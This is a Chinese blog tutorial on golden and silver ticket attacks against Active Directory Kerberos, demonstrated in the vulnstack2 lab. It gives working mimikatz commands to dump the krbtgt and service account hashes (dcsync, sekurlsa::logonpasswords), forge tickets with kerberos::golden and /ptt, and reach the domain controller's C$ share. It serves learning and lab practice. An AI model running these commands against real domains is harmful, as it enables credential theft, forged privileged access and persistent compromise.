AD域渗透 | 黄金与白银票据攻击

954 阅读4分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

过两天研究明白kerberos协议里每次发包中各个参数的含义之后,会发一个协议的详细解析,也许能帮助大家比较详细的理解这套协议。敬请期待

以下演示环境借用红日团队vulnstack2域环境,感谢

工具

gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)

也可以使用kali中帮你预编译好的,直接输入mimikatz就会告诉你在哪

黄金票据

原理

黄金票据攻击发生在我们知道域中的tgt验证用户kebtgt的密码hash的情况下,可以利用krbtgt用户的密码hash直接伪造一个任意用户的TGT出来,实现伪造域内特权账号执行任意指令的操作

局限

由于krbtgt账号不会被登录,且密码是定期修改的随机字符串,导致我们几乎不可能在拿到域控之前获得krbtgt账号的密码或hash。所以一般用作后期维持权限的操作

操作

0.一下直接建立在mimikatz绕过免杀的条件下进行,并且此处不详细介绍如何获得krbtgt的密码hash的各种可能方法,谨以演示为目的直接以域控管理员身份直接获得hash

1.使用mimikatz获得krbtgt用户密码hash,注意需要至少本地管理员(500)级别的操作权限

lsadump::dcsync /domain:de1ay.com /user:krbtgt
当在单域环境下,可以不指定domain选项

image-20220412094153314.png

可以看到那条NTLM加密的就是密码hash

2.获取域ID

whoami /all

image-20220412094859602.png

注意域账号的ID相较于普通账号多了三个值,所以呈现出比普通sid长很多的形象

具体可以看微软对sid的说明安全标识符 (Windows 10) - Windows security | Microsoft Docs

这里我们不需要用户id,所以上图最后的2103是不需要的

3.生成TGT票据

kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ptt

image-20220412101726398.png

用此语句来生成TGT,此处的domain就不可以省略了,用ptt选项会直接存到内存中,也可以使用 ticket选项生成一个ticket文件,然后再用ptt存到其他机器中

4.之后就可以以管理员身份执行命令了

dir \DC\c$

票据格式

image-20220412131340552.png

其他操作

清空票据

klist purge便于观察你生成的票据
klist 查看全部票据

白银票据

原理

相对于黄金票据,白银票据的利用限制增加了很多,需要拥有提供服务的账号的密码hash才能成功进行。这一步是在伪造向服务提供的票据,由于不需要和KDC交互,所以攻击的隐秘性更高。

局限

需要提供服务的账号的hash,但由于真正有价值的服务往往是由域控主机运行的,所以这一个攻击在现实中依旧是常常被运用在权限维持上。

操作

0.为了方便,我这里直接拿域控当server机了,所以我的操作也是在域控上实现的,同样为了方便演示流程,获取密码的操作我也直接就在域控上操作了

1.获取提供服务的账号hash,用mimikatz就可以

sekurlsa::logonpasswords 获取密码hash
privilege::debug 如果上面的执行失败,就提权一下

image-20220412125839510.png

可以看到运行服务机器名字还有密码hash

但是!!! 重点强调运行服务的机器不可以写这个hostname名,要写名字+域名的全名在我这里就是

DC.de1ay.com

2.生成对服务票据

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt

注意看,sid只填域部分,不需要精确到用户,sid的说明见上面黄金票据的说明;target需要填机器的全名,见1. ;user随便填

kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:DC.de1ay.com /rc4:161cff084477fe596a5db81874498a24 /service:cifs /user:geight /ptt

顺便一提,sekurlsa::logonpasswords显示出的内容,往往会有同用户不同NTLMhash的情况发生,这种情况下,全保存下来,依次试一下。

下面是获得的票据

image-20220412131227511.png

有心的朋友可能发现了两张ticket只有在server处有区别,那么有没有可能第一次报文的转发,也是发给了KDC上的AS运行的服务krbtgt呢,我们在之后的对协议的进一步分析在继续说

感谢

@无心,最开始在无心学习的Kerberos认证无心 - 知乎 (zhihu.com)微信公众号仿佛注销了,这里贴出知乎主页

@daiker,之后看待了daiker对数据包的深入分析受益匪浅,让我知其所以然,这里贴出大佬协议分析的笔记[前言 - windows protocol (gitbook.io)